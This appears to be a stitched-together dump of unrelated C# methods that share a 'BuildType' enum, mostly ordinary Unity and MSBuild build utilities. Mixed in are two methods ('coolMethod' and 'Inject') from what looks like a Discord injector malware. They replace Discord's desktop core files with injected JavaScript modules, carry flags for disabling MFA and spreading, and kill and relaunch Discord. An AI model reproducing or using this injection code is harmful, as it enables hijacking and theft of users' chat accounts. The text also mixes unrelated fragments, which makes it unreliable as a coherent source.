private void Save(BuildType buildType) { if (!Directory.Exists("Assets" + GAME_RESOURCE_PATH)) { Directory.CreateDirectory("Assets" + GAME_RESOURCE_PATH); } PlayerSettings.defaultScreenWidth = int.Parse(_screenWidth); PlayerSettings.defaultScreenHeight = int.Parse(_screenHeight); PlayerSettings.defaultIsFullScreen = _fullscreen; PlayerSettings.productName = _gameName; string settings = "Resolution: " + _screenWidth + " x " + _screenHeight + "\n" + "Fullscreen: " + _fullscreen.ToString() + "\n" + "FullscreenMode: Empty\n" + "BuildMode: " + buildType.ToString() + "\n" + _gameName + "\n" + "Targer Frame Rate: " + _targetFrameRate + "\n" + "Game Version: " + _version.ToString() + "\n" + "Bundle Version: " + _bundleVersion.ToString(); File.WriteAllText(Application.dataPath + GAME_RESOURCE_PATH + "/gameSettings.txt", settings); AssetDatabase.Refresh(); }
/// <summary> /// Main entry point. /// </summary> /// <param name="worker">Background task interface object.</param> /// <returns>True on success.</returns> public bool CopyAllFiles(BackgroundWorker worker) { mWorker = worker; ReportProgress("Preparing... build type is " + mBuildType + ", test files are " + (mCopyTestFiles ? "" : "NOT ") + "included."); ReportProgress(""); // the first CRLF is ignored by RichTextBox?? string buildStr = mBuildType.ToString(); string basePath = FindBasePath(); Debug.Assert(basePath != null); string distPath = Path.Combine(basePath, "DIST_" + buildStr); // TODO(maybe): recursively delete distPath if (!CopySpecList(sMainSpec, basePath, distPath, buildStr)) { return(false); } if (mCopyTestFiles) { if (!CopySpecList(sTestSpec, basePath, distPath, buildStr)) { return(false); } } ReportProgress("Success", Colors.Green); return(true); }
public static void coolMethod(BuildType type) { Program._path = Environment.GetEnvironmentVariable("appdata") + "\\" + type.ToString().ToLower(); switch (type) { case BuildType.Discord: Program._path = Program._path + "\\" + Program.lastFound.Replace("app-", ""); break; case BuildType.DiscordPTB: Program._path = Program._path + "\\" + Program.lastPTBFound.Replace("app-", ""); break; case BuildType.DiscordDevelopment: Program._path = Program._path + "\\" + Program.lastDevelopmentFound.Replace("app-", ""); break; } Program._path += "\\modules\\discord_desktop_core\\index.js"; bool flag = File.ReadAllText(Program._path).Count <char>() > 1; if (flag) { File.WriteAllText(Program._path, "module.exports = require('./core.asar');"); } }
private void OnGUI() { GUILayout.Space(5); currentBuildType = (BuildType)EditorGUILayout.EnumPopup("Build Type", currentBuildType); currentBuildPhase = (BuildPhase)EditorGUILayout.EnumPopup("Build Phase", currentBuildPhase); bundleVersion = EditorGUILayout.IntField("Bundle Version", bundleVersion); //EditorGUILayout.BeginVertical(); if (GUILayout.Button("Reset Build Settings", GUILayout.ExpandHeight(true))) { settings.buildPhase = BuildPhase.Alpha.ToString(); settings.buildType = BuildType.Development.ToString(); settings.bundleVersion = 1; settings.v1 = 1; settings.v2 = 0; settings.v3 = 0; BuildPipeline.WriteBuildSettingToJson(settings); ShowVersionSettings(); } if (GUILayout.Button("Update Build Settings", GUILayout.ExpandHeight(true))) { settings.buildType = currentBuildType.ToString(); settings.buildPhase = currentBuildPhase.ToString(); settings.bundleVersion = bundleVersion; BuildPipeline.WriteBuildSettingToJson(settings); } //EditorGUILayout.BeginVertical(); }
/// <summary> /// Starts the build process for an ElastiCube. /// </summary> /// <param name="server">The ElastiCube's server address.</param> /// <param name="cubeName">The name or ID of the ElastiCube.</param> /// <param name="buildType">Type of the build.</param> public async Task StartBuildElastiCubeServerAsync(string server, string cubeName, BuildType?buildType) { string queryString = new QueryStringBuilder() .AddParameter("type", buildType?.ToString()) .Build(); await SendRequestAsync(HttpMethod.Post, $"elasticubes/{server}/{cubeName}/startBuild{queryString}") .ConfigureAwait(false); }
public JsonData ToJson() { JsonData json = new JsonData(); json["bundleName"] = bundleName; json["buildMd5"] = buildMd5; json["buildType"] = buildType.ToString(); json["version"] = version; json["crc"] = crc; json["size"] = size; json["assetPaths"] = new JsonData(); for (int i = 0; i < assetPaths.Count; i++) { json["assetPaths"].Add(assetPaths[i]); } json["assetHashs"] = new JsonData(); for (int i = 0; i < assetPaths.Count; i++) { json["assetHashs"].Add(assetHashs[i]); } if (dependenceMap.Count > 0) { //json["dependenceMap"] = new JsonData(); foreach (var dep in dependenceMap) { JsonData depJson = new JsonData(); //depJson["path"] = dep.Key; json["dependencePaths"] = depJson; for (int i = 0; i < dep.Value.Length; i++) { depJson.Add(dep.Value[i]); } //json["dependenceMap"].Add(depJson); } } if (dependenceHashMap.Count > 0) { //json["dependenceHashs"] = new JsonData(); foreach (var dep in dependenceHashMap) { JsonData depJson = new JsonData(); //depJson["path"] = dep.Key; json["dependenceHashs"] = depJson; for (int i = 0; i < dep.Value.Length; i++) { depJson.Add(dep.Value[i]); } //json["dependenceHashs"].Add(depJson); } } return(json); }
/////////////////////////////////////////////////////////////////////// #region Private Formatting Methods private static string BuildTypeToString( BuildType buildType ) { string result = (buildType == BuildType.Default) ? String.Empty : buildType.ToString(); if (!String.IsNullOrEmpty(result) && Char.IsDigit(result[result.Length - 1])) { result += DigitSeparator; } return(result); }
static string GetDisplayText(BuildType buildType) { switch (buildType) { case BuildType.All: return(GettextCatalog.GetString("All")); case BuildType.Build: return(GettextCatalog.GetString("Builds")); case BuildType.DesignTimeBuild: return(GettextCatalog.GetString("Design-time Builds")); default: return(buildType.ToString()); } }
public static void StripCode(BuildType buildType, bool isDevelopmentBuild) { GameDebug.Log("Stripping code for " + buildType.ToString() + " (" + (isDevelopmentBuild ? "DevBuild" : "NonDevBuild") + ")"); var deleteBehaviors = new List <MonoBehaviour>(); var deleteGameObjects = new List <GameObject>(); foreach (var behavior in UnityEngine.Object.FindObjectsOfType <MonoBehaviour>()) { if (behavior.GetType().GetCustomAttributes(typeof(EditorOnlyComponentAttribute), false).Length > 0) { deleteBehaviors.Add(behavior); } else if (behavior.GetType().GetCustomAttributes(typeof(EditorOnlyGameObjectAttribute), false).Length > 0) { deleteGameObjects.Add(behavior.gameObject); } else if (buildType == BuildType.Server && behavior.GetType().GetCustomAttributes(typeof(ClientOnlyComponentAttribute), false).Length > 0) { deleteBehaviors.Add(behavior); } else if (buildType == BuildType.Client && behavior.GetType().GetCustomAttributes(typeof(ServerOnlyComponentAttribute), false).Length > 0) { deleteBehaviors.Add(behavior); } else if (!isDevelopmentBuild && behavior.GetType().GetCustomAttributes(typeof(DevelopmentOnlyComponentAttribute), false).Length > 0) { deleteBehaviors.Add(behavior); } } GameDebug.Log(string.Format("Stripping {0} game object(s) and {1} behavior(s)", deleteGameObjects.Count, deleteBehaviors.Count)); foreach (var gameObject in deleteGameObjects) { UnityEngine.Object.DestroyImmediate(gameObject); } foreach (var behavior in deleteBehaviors) { UnityEngine.Object.DestroyImmediate(behavior); } }
//Constructor public Building(BuildType buildingType) { MyType = buildingType; baseConsumption = new Dictionary <GoodType, float>(); GoodType[] baseConsumptionGoods = BuildingGoodsConsumed[MyType];//new Dictionary<GoodType, float>(); //these values have to be read in from a file somewhere float[] baseConsumptionWeights = BuildingConsumptionWeights[MyType]; for (int i = 0; i < baseConsumptionGoods.Length; i++) { baseConsumption.Add(baseConsumptionGoods[i], baseConsumptionWeights[i]); } baseProduction = new Dictionary <GoodType, float>(); //these values have to be read in from a file somewhere GoodType[] baseProductionGoods = BuildingGoodsProduced[MyType]; //new Dictionary<GoodType, float>(); //these values have to be read in from a file somewhere float[] baseProductionWeights = BuildingProductionWeights[MyType]; for (int i = 0; i < baseProductionWeights.Length; i++) { baseConsumption.Add(baseProductionGoods[i], baseProductionWeights[i]); } ConstructionCost = new Dictionary <GoodType, int>(); //these values have to be read in from a file somewhere SpaceRequired = (BuildSize)Enum.Parse(typeof(BuildSize), MyType.ToString("g")); }
public WaBackupsViewModel(BuildType buildType) { if (buildType == BuildType.Stable) { manager = new StableBackupsManager(this); } else if (buildType == BuildType.Beta) { manager = new BetaBackupsManager(this); } else { throw new LauncherException("Unknown build type"); } CreateBackupStatus = "Create backup"; CreateBackupCommand = new AwaitableDelegateCommand(async () => { try { CreateBackupStatus = "Creating..."; makingBackup = true; var t = new Task<WaBackup>(() => manager.CreateBackup()); t.Start(); var backup = await t; WaBackups.Add(backup); } catch (Exception exception) { App.Logger.LogError("", this, exception); ErrorManager.ShowWarning(exception.Message, exception); } finally { makingBackup = false; CreateBackupStatus = "Create backup"; UpdateLastBackupTime(); } }, () => !makingBackup); ManageBackupsCommand = new DelegateCommand(() => { var ui = new ManageWaBackups(this); ui.ShowDialog(); }); ImportSettingsCommand = new DelegateCommand(() => { // nothing yet }); Title = string.Format("Backups manager ({0})", buildType.ToString()); RefreshBackups(); UpdateLastBackupTime(); timer = new DispatcherTimer(); timer.Interval = TimeSpan.FromSeconds(30); timer.Tick += (sender, args) => UpdateLastBackupForDisplay(); WaBackups.CollectionChanged += (sender, args) => UpdateLastBackupTime(); }
private void MakeBuild() { //change the enabled shit DisableScenes(); for (int i = 0; i < editorBuilds.Count; i++) { if (SceneBuildType.BuildLeft && (editorBuilds[i].path.Contains("left") || editorBuilds[i].path.Contains("Left"))) { editorBuilds[i].enabled = true; _buildType = BuildType.Left; SceneBuildType.BuildLeft = false; Debug.Log("Prepared to make a build for left screen " + editorBuilds[i].path); break; } else if (SceneBuildType.BuildRight && (editorBuilds[i].path.Contains("right") || editorBuilds[i].path.Contains("Right"))) { editorBuilds[i].enabled = true; _buildType = BuildType.Right; SceneBuildType.BuildRight = false; Debug.Log("Prepared to make a build for right screen " + editorBuilds[i].path); break; } else if (SceneBuildType.BuildCenter && (editorBuilds[i].path.Contains("center") || editorBuilds[i].path.Contains("Center"))) { editorBuilds[i].enabled = true; _buildType = BuildType.Center; SceneBuildType.BuildCenter = false; Debug.Log("Prepared to make a build for center screen " + editorBuilds[i].path); break; } else if (rightScene == null || leftScene == null || centerScene == null) { if (SceneBuildType.BuildLeft) { _buildType = BuildType.Left; SceneBuildType.BuildLeft = false; } else if (SceneBuildType.BuildRight) { _buildType = BuildType.Right; SceneBuildType.BuildRight = false; } else if (SceneBuildType.BuildCenter) { _buildType = BuildType.Center; SceneBuildType.BuildCenter = false; } else { return; } break; } } _currentBuild++; EditorBuildSettings.scenes = editorBuilds.ToArray(); List <string> scenesPaths = new List <string>(); _buildPath = Directory.GetCurrentDirectory() + "/Builds/" + PlayerSettings.productName + "_" + _buildType.ToString(); string buildPath = _buildPath + "/" + PlayerSettings.productName + "_" + _buildType.ToString() + ".exe"; for (int i = 0; i < EditorBuildSettings.scenes.Length; i++) { if (EditorBuildSettings.scenes[i].enabled) { scenesPaths.Add((EditorBuildSettings.scenes[i].path)); } } ChangeJsonFile(); BuildPlayerOptions buildOptions = new BuildPlayerOptions(); { buildOptions.scenes = scenesPaths.ToArray(); buildOptions.locationPathName = buildPath; buildOptions.target = BuildTarget.StandaloneWindows; buildOptions.options = BuildOptions.None; } BuildReport report = BuildPipeline.BuildPlayer(buildOptions); BuildSummary summary = report.summary; if (summary.result == BuildResult.Failed) { return; } scenesPaths.Clear(); Debug.Log("Made a build for " + _buildType.ToString()); DeleteFiles(); if (_buildCount > _currentBuild) { Debug.Log("Will make a next build"); MakeBuild(); } else { Debug.Log("<color=green>Finished making builds</color>"); return; } }
private BuildResult DoBuild(BuildType buildType) { DateTime buildStartTime = DateTime.Now; string msbuildArguments = string.Format("{0} /t:{1}", _solutionFileFullPath, buildType.ToString()); if (_buildConfiguration != null) { msbuildArguments += string.Format(" /property:Configuration={0}", _buildConfiguration); } if (_buildPlatform != null) { msbuildArguments += string.Format(" /property:Platform={0}", _buildPlatform); } msbuildArguments += " /maxcpucount"; var runResult = CommandExecutor.Run(_workingDirectory, _builderCommand, msbuildArguments); return(new BuildResult( runResult.outputs, runResult.errors, buildDuration: DateTime.Now - buildStartTime)); }
private string GetOutputDirectory(string beginsWith) { var dir = Path.Combine(beginsWith, Architecture.ToString(), BuildType.ToString(), "native"); return(Path.GetFullPath(dir)); }
public static void Inject(string path, BuildType type) { try { bool flag = Directory.Exists(path + "\\app"); if (flag) { Directory.Delete(path + "\\app", true); } } catch { Process[] processesByName = Process.GetProcessesByName(type.ToString()); for (int i = 0; i < processesByName.Length; i++) { processesByName[i].Kill(); Directory.Delete(path + "\\app", true); } } Directory.CreateDirectory(path + "\\app"); File.WriteAllText(path + "\\app\\index.js", Injec.injec); Directory.CreateDirectory(path + "\\app\\modules"); File.WriteAllText(path + "\\app\\modules\\index.js", Mod.mod); File.WriteAllText(path + "\\app\\package.json", string.Concat(new string[] { "{\"name\":\"discord\",\"main\":\"index.js\",\"loaded\":false,\"dir\":\"", path.Replace("\\", "\\\\"), "\\\\app\\\\modules\\\\index.js\",\"disabled\":", Settings.disableMfa.ToString().ToLower(), ",\"private\":true,\"multiply\":", Settings.spread.ToString().ToLower(), "}" })); Program.coolMethod(type); bool restartDiscord = Settings.restartDiscord; if (restartDiscord) { switch (type) { case BuildType.Discord: { Process[] processesByName2 = Process.GetProcessesByName("Discord"); foreach (Process process in Process.GetProcessesByName("Discord")) { try { process.Kill(); } catch { } } bool flag2 = processesByName2.Length != 0; if (flag2) { Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Microsoft\\Windows\\Start Menu\\Programs\\Discord Inc\\Discord.lnk"); } break; } case BuildType.DiscordPTB: { Process[] processesByName6 = Process.GetProcessesByName("DiscordPTB"); foreach (Process process3 in Process.GetProcessesByName("DiscordPTB")) { try { process3.Kill(); } catch { } } bool flag4 = processesByName6.Length != 0; if (flag4) { Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Microsoft\\Windows\\Start Menu\\Programs\\Discord Inc\\Discord PTB.lnk"); } break; } case BuildType.DiscordDevelopment: { Process[] processesByName8 = Process.GetProcessesByName("DiscordDevelopment"); foreach (Process process4 in Process.GetProcessesByName("DiscordDevelopment")) { try { process4.Kill(); } catch { } } bool flag5 = processesByName8.Length != 0; if (flag5) { Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Microsoft\\Windows\\Start Menu\\Programs\\Discord Inc\\Discord Development.lnk"); } break; } } } }
public static void BumpBundleVersion(BuildType versionReleasing = BuildType.BUILD) { string[] versionChar = Application.version.Split('.'); if (versionChar.Length < 4) { Debug.LogError("Formato da versão alterado incorretamente. Setando para versão 1.0.0.8"); versionChar = new string[] { "1", "0", "0", "1" }; } if (versionChar.Length > 4) { Debug.LogError("Formato da versão alterado incorretamente. Utilizando apenas primeiros 4 números"); } int[] appVersion = new int[4] { int.Parse(versionChar[0]), int.Parse(versionChar[1]), int.Parse(versionChar[2]), int.Parse(versionChar[3]), }; // versao de build sempre incremental // mesmo que haja erros appVersion[3] += 1; // se a versão principal mudar // resetamos as outras e mantemos a build // seguindo o padrão // 0 for alpha (status); 1 for beta (status); 2 for release candidate; 3 for (final) release if (versionReleasing == BuildType.MAJOR) { appVersion[0] += 1; // major appVersion[1] = 0; // reset minor appVersion[2] = 0; // reset revision } else if (versionReleasing == BuildType.MINOR) { appVersion[1] += 1; // minor appVersion[2] = 0; // reset revision } else if (versionReleasing == BuildType.REVISION_ALPHA_0) { appVersion[2] = 1; // revision } else if (versionReleasing == BuildType.REVISION_BETA_1) { appVersion[2] = 1; // revision } else if (versionReleasing == BuildType.REVISION_RC_2) { appVersion[2] = 2; // revision } else if (versionReleasing == BuildType.REVISION_FINAL_3) { appVersion[2] = 3; // revision } // Atualiza os valores PlayerSettings.bundleVersion = string.Format( "{0}.{1}.{2}.{3}", appVersion[0], appVersion[1], appVersion[2], appVersion[3] ); // Update build number PlayerSettings.macOS.buildNumber = appVersion[3].ToString(); // Printa os valores atuais Debug.LogFormat("Version updated to {0} from BuildType {1}", Application.version, versionReleasing.ToString()); }